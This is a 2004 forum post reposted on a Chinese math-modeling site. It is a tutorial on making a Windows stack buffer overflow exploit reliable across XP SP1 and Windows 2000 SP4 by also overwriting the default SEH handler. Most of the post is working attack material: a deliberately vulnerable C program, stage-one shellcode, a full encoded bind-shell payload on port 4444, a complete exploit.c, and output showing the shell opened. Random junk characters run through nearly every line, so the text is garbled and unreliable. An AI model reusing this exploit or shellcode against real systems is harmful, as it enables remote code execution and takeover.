数学建模社区-数学中国

标题: Exploiting Default Exception Handler to Increase Exploit Sta [打印本页]

作者: 韩冰    时间: 2004-11-19 10:39
标题: Exploiting Default Exception Handler to Increase Exploit Sta
The goal of this method is to create a stable exploit that will successfully exploit a buffer overflow vulnerability on multiple operating systems. Every windows application has a default exception handler that is located at the end of the stack. When exploiting a normal buffer overflow vulnerability we overwrite the return address but in this case we will continue overwriting the stack and overwrite the default exception handler as well." P) }- u4 M! m

: Q! G4 q9 n3 ?0 y% N4 g8 p3 H" u[Buf] <- Shellcode: \; O$ N8 C- R. `
[Return Address] <- jmp register (for Windows XP sp1)  n8 v8 {, N. I* y7 C1 I8 Q3 B3 s
[Various Stack Data] <- Junk
. N" c. A2 w9 M5 I3 d3 I7 v- X[Pointer To Next SEH] <- "\xEB\x06\xff\xff" jump 6 bytes forward! d/ T. q1 v5 n' g# M
[SE Handler] <- jmp register (for Win2k sp4); @7 `+ M+ \( F/ c2 s) k
[Stage1 Shellcode] <- stage1 shellcode for win2k
0 W4 R/ d3 s9 X6 T. O9 m
* p) N/ r7 [6 iIf the first return address (Windows XP SP1) is wrong an exception will occur and the default exception handler will be called (Windows 2000 SP4). Thus allowing us to create a stable exploit with two return addresses3 x) u7 m. D1 z( N* M- [

: ?2 S& b7 d5 ~+ MNecessary Tools:! g. K' f! p& Y0 Y1 |- b
- OllyDBG
/ t3 F. ?9 x3 h- C/C++ Compiler
9 c# G# O& @- A, o3 s/ M8 i. _- nasm- k7 r  P' A2 E! y2 R
- Sac
/ ?# I3 R1 ^1 B( u2 a$ m, }4 ~6 M$ G" [) S6 ?- U
Vulnerable Code:* O6 U/ ]% Q0 p. y% R8 D
//lamebuf.c
9 f/ a4 z! x6 N0 i! W#include<stdio.h>$ J- V: @; z/ q+ U6 u, Z! r  T2 T
#include<string.h>
/ L+ U( \5 Q1 P1 |( E0 g- k#include<windows.h>2 i3 G* g: G3 M. R+ X
int main(int argc,char *argv[]){  l# o" |* ^# c: g$ ?8 P2 ]- |1 V; [% E

* {& n1 m6 ^- F5 r1 L1 fchar buf[512];
6 }! |; H: v5 P! ^! D" x, Nchar buf1[1024]; // <- simulate a stack
# ^1 N4 @$ R& s9 [: S. t//DebugBreak();
8 q4 ]! R/ Z: u* O: p$ Gif (argc != 2){ return -1; }
( |: D5 R6 [8 Q* l% z2 d+ y9 @/ W. h- p# |
strcpy(buf,argv[1]);
2 n% w. x# b# A/ b, y9 v# Nreturn 0x0;
$ N; B% w4 n# e, [  l  x}
- @, x% _) `! j9 x" _9 ]* E% @. J" _; h
Getting Started:
4 o2 B: Y7 D+ d2 {0 W/ XBefore writing the exploit, lets see what happens when we overflow this application with 1600 bytes. The application crashed in the following state of registers:$ c3 r$ ~5 O5 X$ w# J5 [

" }$ l$ |; A- X( i$ SEAX 00000000' f8 p1 G7 ^1 s
ECX 00321404/ j* E( }# y2 Y0 x
EDX 00414141+ t/ `5 C% I% k" W
EBX 7FFDF000+ W3 {, x' D( ^& h
ESP 0012FF88 ASCII "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
) p# F! J6 a% a' q" qEBP 41414141
/ F+ U2 p! q: y5 qESI 77D4595F
" O" l: z8 o- Z# L8 }EDI 77F59037 ntdll.77F590378 o4 n3 q: c6 i- u1 |+ l
EIP 41414141
- @8 C& ]" r" X* O
5 Y/ C4 w( H6 [Lets take a look at the stack and see what happened to the default exception handler:1 i$ H+ r$ J. n, ]+ X$ a8 ?. F2 m
0x0012FFB0 41414141 Pointer to next SEH Record. n: u, z9 @0 g3 B- O9 j, g$ O3 N
0x0012FFB4 41414141 SE Handler8 h( u! G' Q1 g. D
. ?& x% v! K$ l( Y
We successfully overwrote the return address and the default exception handler.
& u4 P' o/ @0 X1 _" n: v* G6 N0 I; w- @& _! [+ \
Primary Return Address (Windows XP SP1 EN):9 q$ v# B3 v+ m8 k: ?7 o1 q
The first return address will be called as in a normal stack overflow. We can see that esp points to user-input, we will use that as our first stage shellcode. The return address will be 0x77F8AC16 (jmp esp on Windows XP SP1 En), and our first stage shellcode will be:
4 ]' x" y7 X+ P# {( U; E"\x89\xE1\xFE\xCD\xFE\xCD\xFE\xCD\xFE\xCD\xFE\xCD\xFE\xCD\x89\xCC\xFF\xE4"
# S* [0 ~# D$ j& M; a. I* c% V8 b0 p/ o" T
Secondary Return Address (Windows 2000 SP4 EN):: Z1 }  x$ M- v! ~
The secondary return address will be called as in a normal SEH return. The return address will be 0x77F92A9B (jmp ebx on Win2k Sp4 En), and our first stage shellcode will be:! ~# o9 m# b3 t9 O6 u
"\x89\xC1\xFE\xCD\xFE\xCD\xFE\xCD\x89\xCC\xFF\xE1"
$ M9 i% k6 N$ L" N6 J% {+ P( d, f- D* a
Proof Of Concept:
% }: J' c3 r" Y// exploit.c
% u6 [( d  ?9 [4 }2 ^) U* ?+ U// Tal zeltzer - [Double Return] //# H2 g& G' A4 q0 q
# ?  _3 Z$ A3 G7 g+ `# ]  H
#include<stdio.h>6 b% Q0 Y$ Q9 P0 x
#include<string.h>3 {' }- D. r) X8 m
#include<windows.h>6 ^- o2 l- X$ Y1 o

1 I3 b( S8 Q0 s9 m( u; I* h#define RET_XP 0x77F8AC16 // WinXP Sp1 English - jmp esp
: k4 x/ U4 p7 O% K3 a+ S9 B' P8 f#define RET_WIN2K 0x77F92A9B // Win2k Sp4 English - jmp ebx( ]8 o4 d+ w: ?& w  L0 E8 }

) ?2 S1 K7 E  F, k# X( x. u+ X6 b// Stage1 For WinXP Sp1 English
' e: E7 e9 \% y0 Hunsigned char stage1_1[] = "\x89\xE1\xFE\xCD\xFE\xCD\xFE\xCD\xFE\xCD\xFE\xCD\xFE\xCD\x89\xCC\xFF\xE4";2 r% v- K* Q0 W7 f/ z$ a
" W) F2 {1 \, I2 e  T' u8 Y: y* ?7 I
// Stage1 For Win2k Sp4 English& S& j: T% m, ~- l2 R, {
unsigned char stage1_2[] = "\x89\xC1\xFE\xCD\xFE\xCD\xFE\xCD\x89\xCC\xFF\xE1";
) N( A" A/ _! N4 [
; F* X, o' [& E: D' \# O  v5 a// win32_bind - Encoded Shellcode [\x00\x0a\x09] [ EXITFUNC=seh LPORT=4444 Size=399 ] _blank>http://metasploit.com
3 x2 t# S5 X# d: |1 Q$ a& Xunsigned char shellcode[] =6 a9 t2 S' r( r, r" l
"\xd9\xee\xd9\x74\x24\xf4\x5b\x31\xc9\xb1\x5e\x81\x73\x17\x4f\x85"
0 I- F0 h1 U8 O1 @"\x2f\x98\x83\xeb\xfc\xe2\xf4\xb3\x6d\x79\x98\x4f\x85\x7c\xcd\x19"- o0 Y7 [0 A! `9 G& q% _0 k( m
"\xd2\xa4\xf4\x6b\x9d\xa4\xdd\x73\x0e\x7b\x9d\x37\x84\xc5\x13\x05"7 k* \$ _* F' r$ S% X% ^, S* H
"\x9d\xa4\xc2\x6f\x84\xc4\x7b\x7d\xcc\xa4\xac\xc4\x84\xc1\xa9\xb0"- O% X% k4 y4 c8 ^' e5 `0 g! T, T
"\x79\x1e\x58\xe3\xbd\xcf\xec\x48\x44\xe0\x95\x4e\x42\xc4\x6a\x74"
5 F- _" I3 D0 {"\xf9\x0b\x8c\x3a\x64\xa4\xc2\x6b\x84\xc4\xfe\xc4\x89\x64\x13\x15"! E$ g) p, |+ v. R8 L
"\x99\x2e\x73\xc4\x81\xa4\x99\xa7\x6e\x2d\xa9\x8f\xda\x71\xc5\x14"; f. {. W1 g; G7 l/ m
"\x47\x27\x98\x11\xef\x1f\xc1\x2b\x0e\x36\x13\x14\x89\xa4\xc3\x53"
" H3 Y) j8 Y5 v"\x0e\x34\x13\x14\x8d\x7c\xf0\xc1\xcb\x21\x74\xb0\x53\xa6\x5f\xce"
- S% y$ M4 c- U; n" X4 e6 \( n& ]"\x69\x2f\x99\x4f\x85\x78\xce\x1c\x0c\xca\x70\x68\x85\x2f\x98\xdf"
) Z! P" p+ r, \4 a"\x84\x2f\x98\xf9\x9c\x37\x7f\xeb\x9c\x5f\x71\xaa\xcc\xa9\xd1\xeb"
/ q% d% c- b% ]1 g1 }9 w+ @9 |" K"\x9f\x5f\x5f\xeb\x28\x01\x71\x96\x8c\xda\x35\x84\x68\xd3\xa3\x18"
: x6 ]+ R, r1 z) H& t"\xd6\x1d\xc7\x7c\xb7\x2f\xc3\xc2\xce\x0f\xc9\xb0\x52\xa6\x47\xc6"
  I; E! B4 I; b"\x46\xa2\xed\x5b\xef\x28\xc1\x1e\xd6\xd0\xac\xc0\x7a\x7a\x9c\x16"
/ N# w6 u+ h0 o: W"\x0c\x2b\x16\xad\x77\x04\xbf\x1b\x7a\x18\x67\x1a\xb5\x1e\x58\x1f"" H% f! g; [" I  E- y, C- f
"\xd5\x7f\xc8\x0f\xd5\x6f\xc8\xb0\xd0\x03\x11\x88\xb4\xf4\xcb\x1c"' z7 E1 g. t7 j: q0 N
"\xed\x2d\x98\x5e\xd9\xa6\x78\x25\x95\x7f\xcf\xb0\xd0\x0b\xcb\x18"
  i2 s8 J; K3 M6 h' ^# d  s2 W0 f: w"\x7a\x7a\xb0\x1c\xd1\x78\x67\x1a\xa5\xa6\x5f\x27\xc6\x62\xdc\x4f"8 r/ K$ `; L* Y
"\x0c\xcc\x1f\xb5\xb4\xef\x15\x33\xa1\x83\xf2\x5a\xdc\xdc\x33\xc8"
8 \9 |/ e; x, P& `( k( z"\x7f\xac\x74\x1b\x43\x6b\xbc\x5f\xc1\x49\x5f\x0b\xa1\x13\x99\x4e"3 Z: S/ N7 a+ v. G
"\x0c\x53\xbc\x07\x0c\x53\xbc\x03\x0c\x53\xbc\x1f\x08\x6b\xbc\x5f"' x" V, ~' x0 a9 j
"\xd1\x7f\xc9\x1e\xd4\x6e\xc9\x06\xd4\x7e\xcb\x1e\x7a\x5a\x98\x27"1 R4 @2 m2 M( X
"\xf7\xd1\x2b\x59\x7a\x7a\x9c\xb0\x55\xa6\x7e\xb0\xf0\x2f\xf0\xe2"5 w+ U; h6 I8 Q  X% ^
"\x5c\x2a\x56\xb0\xd0\x2b\x11\x8c\xef\xd0\x67\x79\x7a\xfc\x67\x3a"
; d) u9 g* \' `7 {; V  F. q"\x85\x47\x68\xc5\x81\x70\x67\x1a\x81\x1e\x43\x1c\x7a\xff\x98";. b2 A$ }2 b4 o4 g

* L' j9 r: z3 s1 ~' O
0 g1 }( g# [! dint main(int argc,char *argv[]){
( p% L8 D- D3 m* Q( ^7 P4 e) m7 R  F- Y- P! h( E! b+ h  P& [
char *bufExe[3];
" A& \/ C5 S1 m: Wchar buf[2048];$ U1 @. U$ v) T: s- d5 y3 \. i; X
bufExe[0] = "lamebuf.exe";
9 J/ x4 X& v3 X; c0 x; `( J2 dbufExe[2] = NULL;
+ z  ~  p* l2 |& b0 L& q2 Q2 ?
1 [, t+ [6 k" c. s3 ^6 e' Xmemset(buf,0x0,sizeof(buf));
' p- n. k7 z/ |! x  v4 A, Tmemset(buf,0x90,1652);
. W2 Q. D8 n- a; x% |! W2 N. }memcpy(&buf[24],shellcode,sizeof(shellcode)-1);
5 d2 D/ n3 D3 j6 g6 ~" ]# z9 u0 ^' t& D; c9 t8 c4 \8 K9 Y, |
memcpy(&buf[1544],&stage1_1,sizeof(stage1_1)-1); //WinXP SP1 En - Stage1 Shellcode
7 B" Y% b3 p+ g; M3 p& Wmemcpy(&buf[1592],&stage1_2,sizeof(stage1_2)-1); //Win2k SP4 En - Stage2 Shellcode& s2 X; E. F& Y! v: |& K/ a

# H/ I" i  s# @6 ]2 j' `& l; P*(unsigned long *)&buf[1540] = RET_XP; // First RET (jmp esp) winXP sp1 en& L3 _9 y; ^9 W# r
*(unsigned long *)&buf[1584] = 0xcccc06EB; // For win2k - jmp 6 bytes forward to our stage1_2 code
% V& k) P/ ?2 x) ~) q3 U4 q# J! \*(unsigned long *)&buf[1588] = RET_WIN2K; // Second RET (jmp ebx) win2k sp4 en6 l& R3 h" w* w* g: ?9 z

5 X) J  m) }+ O6 d& C  j4 C9 C' ]6 I2 O
bufExe[1] = buf;! {5 i8 J. D3 v: H9 U+ p4 \
//Execute the vulnerable application
6 p$ i7 x. ~' ?+ p% nexecve(bufExe[0],bufExe,NULL);% B- M8 ]* K8 X/ S. G2 h( h

2 j. V5 u, q0 i/ vreturn 0x0;$ n' h$ s! _/ U% C9 H9 y+ j) o, [
}/ @% v* V, P" q1 T/ B: J/ K; [

0 y4 m' ]+ a" Y  v. v0 i7 tExploit under Windows XP SP1:
* ?! U" @% u. V7 AC:\>exploit
! O  ]/ M6 P: D1 zC:\>
* g' W" x5 G& B8 d/ l' Q6 K$ z) r0 LC:\>telnet 127.0.0.1 4444
. l& G) q5 b6 S& i0 T' ~& }: U: q) L6 \+ x0 R8 I& Y
Microsoft Windows XP [Version 5.1.2600]6 m2 ]+ V- \" D) W+ R, v7 n4 V
(C) Copyright 1985-2001 Microsoft Corp.9 c8 ~0 V% l, c, |# T9 [
% H# i3 z0 j* K8 R4 F/ n# }+ q
C:\>
& F- i. K* ~6 p! v) G1 c3 I1 v; m$ E2 |  j
Exploit under Windows 2000 SP4:4 f2 ^) y9 v  Y  p8 V5 B  J
C:\>exploit
: X( S# N3 o% }C:\>
$ Q6 ]$ G  u$ C5 G$ h+ lC:\>telnet 127.0.0.1 4444
8 d8 l  M, x9 v5 s
/ Y% }6 J6 U3 iMicrosoft Windows 2000 [Version 5.00.2195]
7 D1 f. n! T+ C; `9 `(C) Copyright 1985-2000 Microsoft Corp.




欢迎光临 数学建模社区-数学中国 (http://www.madio.net/) Powered by Discuz! X2.5